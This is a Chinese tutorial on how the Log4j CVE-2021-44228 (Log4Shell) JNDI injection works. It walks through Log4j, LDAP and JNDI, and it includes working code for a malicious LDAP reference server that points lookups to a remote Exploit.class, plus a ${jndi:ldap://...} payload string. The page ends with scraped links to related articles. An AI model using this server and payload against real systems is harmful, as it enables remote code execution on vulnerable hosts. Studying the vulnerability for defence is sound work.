CVE-2021-44228 Log4j 远程代码执行漏洞——原理
目录
0x01、Log4j介绍
用法:
1、 Pom.xml引入依赖
2、获得logger实例
3、logger.info() debug() error() warn()方法
为什么要用log4j
0x02 什么是LDAP
1、定义
2、目录数据库
3、用途:统一登录
4、实现厂家
5、LDAP代码演示
5.1、LDAP服务端
源码:
5.2、LDAPClient
0x03 什么是JNDI
1、定义
2、什么是命名服务
1 bind()
2 lookup()
3、为什么引入JNDI
1、JNDI方式通过数据源连接数据库
2、JNDI可以访问的服务
3、JNDI和LDAP的关系
0x04 JNDI注入漏洞
1、JNDI动态协议转换
2、JNDI Naming Reference 命名引用
3、漏洞流程
0x01、Log4j介绍
1、认识Log4j
1.1、概念
Log for java,Apache的开源日志记录组件,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
记录日志的作用是可以对程序的运行进行调试跟踪,还可以对业务操作进行记录,方便追溯。
1.2、在应用程序中输出日志的目的:
- 监视代码中变量的变化情况,把数据周期性记录到文件中供其他应用进行统计分析工作;
- 跟踪代码运行时轨迹,作为日后审计的依据;
- 担当集成开发环境中的调试器的作用,向文件和控制台打印代码的调试信息;
1.3 Log4J主要组件:
- Log4j由三个重要的组件构成:日志信息的优先级,日志信息的输出目的地,日志信息的输出格式。日志信息的优先级从高到低有ERROR、WARN、 INFO、DEBUG,分别用来指定这条日志信息的重要程度;日志信息的输出目的地指定了日志将打印到控制台还是文件中;而输出格式则控制了日志信息的显示内容。
- Logger:负责生成日志,并能够对日志信息进行分类筛选;
- Appender:定义了日志信息输出的目的地,指定日志信息应该被输出到什么地方,这些地方可以是控制台、文件、网络设备等;
- Layout:指定日志信息的输出格式;
2、log4j 用法:
1、 定义配置文件
- 配置根Logger
- 配置日志信息输出目的地Appender
- 配置日志信息的格式(布局)
Pom.xml引入依赖
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version>
</dependency>
<dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope>
</dependency>
2、在代码中使用Log4j
- 得到记录器
- 读取配置文件
- 插入记录信息(格式化日志信息)
获得logger实例
调用logger.info() debug() error() warn()方法
调用logger的方法
为什么要用log4j
Log4j是Apache的一个开源项目,通过使用Log4j,我们能够更加细致地控制日志的生成过程,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
eg:
0x02 什么是LDAP
1、定义
Lightweight directory access protocol
轻量级目录访问协议(目录服务)
2、目录数据库
我们可以理解为存储目录所定义的标准,类似于JDBC它定义了java连接数据库的标准,如下图栗子
3、用途:统一登录
比如说公司里面有非常多的办公系统,OA系统、邮箱服务器 、Git服务器和VPN......如果这些系统都是通过各自独立的账号进行登入,对于我们这些员工和用户来说,需要记住非常多的账号和密码,这显然比较麻烦。
我们设想把这些登入的入口统一起来,急需有一个统一的账号维护平台,一个人只需一个账号,通过同一个入口登入,那么就当然需要有一个集中存储用户信息的数据库,,在公司内部平台通用,而大多数开源平台都支持LDAP;因此只要搭建好LDAP服务,并跟钉钉之类的平台实现账号同步。
4、实现厂家
5、LDAP代码演示
5.1、LDAP服务端
在pom文件引入依赖:
源码:
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";/*** class地址 用#Exploit代替Exploit.class*/private static final String EXPLOIT_CLASS_URL = "http://192.168.142.66:80/#Exploit";public static void main(String[] args) {int port = 7912;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor(URL cb) {this.codebase = cb;}@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);} catch (Exception e1) {e1.printStackTrace();}}protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Calc");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if (refPos > 0) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
5.2 LDAPClient
JNDI是javaee里面的一个规范,是JDK里面自带的一种依赖,首先调用Context对象,使用lookup方法查找数据,想要找的的数据是之前添加的uid=wuya,ou=employees,dc=example ,dc=com
package jndi;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class LDAPClient {public static void main(String[] args) throws NamingException {// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");Context ctx = new InitialContext();Object object = ctx.lookup("ldap://127.0.0.1:7389/uid=wuya,ou=employees,dc=example,dc=com");}
}
0x03 什么是JNDI
1、定义
Java Naming and Directory Interface Java 命名和目录接口(命名服务接口)
2、什么是命名服务
命名服务(Naming Service):用于根据名字找到位置、服务、信息、资源、对象等 K V,最简单的理解就是你给我一个名字,我给你返回一个资源,常用是拿哈希表进行实现。
1 bind()
发布服务(名字和资源的映射)
2 lookup()
用名字查找资源
3、为什么引入JNDI
为了解决JDBC直接连接数据库的弊端,我们操作数据库,实现更改其他类型的数据库时,它的驱动类是必须修改的;访问的用户过多时,连接池的参数需要调整;即
- 参数变动引发URL修改
- 数据库产品切换,驱动包修改
- 连接池参数的调整
总结:不够灵活、不便于维护
public class JDBCTest {public static void main(String[] args) throws ClassNotFoundException, SQLException {String URL="jdbc:mysql://127.0.0.1:3306/jinyouxin?useUnicode=true&characterEncoding=utf-8";String USER="root";String PASSWORD="123456";Class.forName("com.mysql.jdbc.Driver");Connection conn=DriverManager.getConnection(URL, USER, PASSWORD);Statement st=conn.createStatement();ResultSet rs=st.executeQuery("select * from users where id =1 ");while(rs.next()){System.out.println("name:"+rs.getString("name")+"\n"+"password:"+rs.getString("password"));}rs.close();st.close();conn.close();}
1、JNDI方式通过数据源连接数据库
Object datasourceRef=ctx.lookup("java:jdbc/mydatasource");//它这里就是在寻找名字
public void jndiConnet() throws SQLException, NamingException {Context ctx=new InitialContext();Object datasourceRef=ctx.lookup("java:jdbc/mydatasource");DataSource ds=(DataSource)datasourceRef;Connection conn=ds.getConnection();Statement st=conn.createStatement();ResultSet rs=st.executeQuery("select * from users where id =1 ");while(rs.next()){System.out.println("name:"+rs.getString("name")+"\n"+"password:"+rs.getString("password"));}rs.close();st.close();conn.close();}
仔细解读代码我们不难分析出JDBC操作数据库的url、password和user被整体打包到lookup的实体对象里面,我们如果想修改的话,改一下名字就可以了
2、JNDI可以访问的服务
上面只是以JDBC作为例子,实际上还可以实现LDAP目录服务、RMI远程方法调用、DNS、XNam 、Novell目录服务、 CORBA对象服务、文件系统WindowsXP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS......
3、JNDI和LDAP的关系
用JNDI接口访问LDAP服务,或者RMI(远程方法调用服务),通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据
${jndi:ldap://jinyouxin.com:5678/test}
package jndi;import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import java.util.Hashtable;public class JNDIClient {public static void main(String[] args) throws NamingException {Hashtable<String, Object> env = new Hashtable<String, Object>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");env.put(Context.PROVIDER_URL, "ldap://localhost:7389/dc=example,dc=com");//env.put(Context.SECURITY_AUTHENTICATION, "simple");//env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=wuya,dc=net");//env.put(Context.SECURITY_CREDENTIALS, "wuya");DirContext ctx = new InitialDirContext(env);SearchControls searchControls = new SearchControls();searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);searchControls.setCountLimit(10);NamingEnumeration<SearchResult> namingEnumeration =ctx.search("", "(uid=*)", new Object[]{}, searchControls);//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称绑定了ctx.lookup("ldap://localhost:7389/ou=employees,dc=example,dc=com");while (namingEnumeration.hasMore()) {SearchResult sr = namingEnumeration.next();System.out.println("DN: " + sr.getName());System.out.println(sr.getAttributes().get("uid"));//System.out.println("Password:" + new String((byte[]) sr.getAttributes().get("userPassword").get()));}ctx.close();}}
0x04 JNDI注入漏洞
1、JNDI动态协议转换
即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议,比如说Context初始化是RMI服务,但是lookup的参数是LDAP服务,这个时候协议会动态转换。
2、JNDI Naming Reference 命名引用
2.1 在LDAP里面存放一个外部资源,叫做命名引用,对应Reference类
我们可以这样理解,有些资源不适合存储在本地,可能是内容太大了,可以通过存储它的名字进行远程调用。
举个栗子:
比如说我们把编译好的.class文件放在远程centos 7的服务器上面,我这里放在phpstudy里面的/www根目录下,然后我们从本机启动LDAP的服务,对于我们本机而言.class文件并没有存储,我们在本机访问一下:
2.2 自动下载Exploit.class
如果JNDI客户端,在LDAP服务中找不到对应的资源(test),就去指定的地址请求。如果是命名引用,会把这个文件下载到本地,比如说test不存在,下载Exploit.class
2.3 执行.class文件
如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行
3、漏洞流程
CVE-2021-44228 Log4j 远程代码执行漏洞——原理相关推荐
- 开源高性能 RISC-V 处理器“香山”国际亮相;Apache Log4j 远程代码执行漏洞;DeepMind 拥有 2800 亿参数的模型 | 开源日报
整理 | 宋彤彤 责编 | 郑丽媛 开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! ...
- Apache Log4j 远程代码执行漏洞直接让安全圈过年~
在此声明:本文章的目的是让大家参考此漏洞的修复方法切记不要批量刷SRC,否则后果自负与本人无关, 安全圈直接过年了 苹果 百度 shiro从2014年-2022年坚持到了现在,log4j是下一个能养活 ...
- Horizon DAAS环境Log4J远程代码执行漏洞危害减轻措施
一.问题描述 2021 年 12 月 9 日,VMware 威胁分析部门 (TAU) 也注意到Java Log4j 模块中存在的一个大规模.高影响的漏洞.此漏洞称为 Log4Shell,安全跟踪编码为 ...
- log4j 2 远程代码执行漏洞原理与搭建反弹shell
log4j2漏洞出来有一段时间了, 该修复的都修复的差不多了, 是时候可以公开让大家了解下原理以及如何构建整套体系了. 本文虽然是靶机, 但原理上还是可以攻击其它漏洞机器的. 建议测试即可, 不然你就 ...
- Apache Log4j 远程代码执行漏洞(CVE-2021-44228、CVE-2021-45046)
1.Java 6 将 log4j 升级到 2.3.1 版本,Java 7 将 log4j 升级到 2.12.3 版本,Java 8 或更高版本将 log4j 升级到 2.17.0 版本,下载地址:ht ...
- Log4j远程代码执行漏洞验证
环境: poc: ${jndi:ldap://baxpur.ceye.io} 验证:
- Apache Log4j 远程代码注入漏洞
漏洞说明 2021年12月9日,Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题,攻击者攻击难度极低.由于 Apache Log4j2 某些功能存在递归解析功 ...
- 如何看待 Apache Log4j 2 远程代码执行漏洞?
Apache Log4j2 是一款优秀的 Java 日志框架,大量的业务框架都使用了该组件. 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 ...
- php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限
此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...
- CVE-2021-1675: Windows Print Spooler远程代码执行漏洞
** 赶紧点击上方话题进行订阅吧!** 报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-29 1 漏洞简述 2021年06月29日 ...
最新文章
- 如何设计一个通用的权限管理系统
- 基础算法 —— 贪心算法
- ALGO-22_蓝桥杯_算法训练_数的划分(DP)
- 浅谈web开发以及django的安装和入门
- Java8新特性教程 - 终极指南
- laravel手动误删了迁移文件,重新生成
- linux 安装 mysql off,linux下安装mysql
- 鸿蒙HI3516-HAP的编译-2021426
- CommandBehavior.CloseConnection使用
- PyCharm高校固定资产管理系统django-python+vue
- 工作学习总结--ng2-pdf-viewer的运用
- 【MediaSoup】UDPSOCKET recv数据到rtcp包解析
- Oracle 密码过期
- 典型的人工神经网络由很多层构成,但不包括
- react-use react hook 库
- MacPro安装运行Win10虚拟机 (Parallels Desktop)
- 同时设置min-height和max-height后el-scrollbar滚动监听失效?
- 【线索二叉树】C++代码及线索化过程详解
- Python膨胀操作
- 软件修复硬盘物理坏道究竟靠不靠谱?效哥告诉你标准答案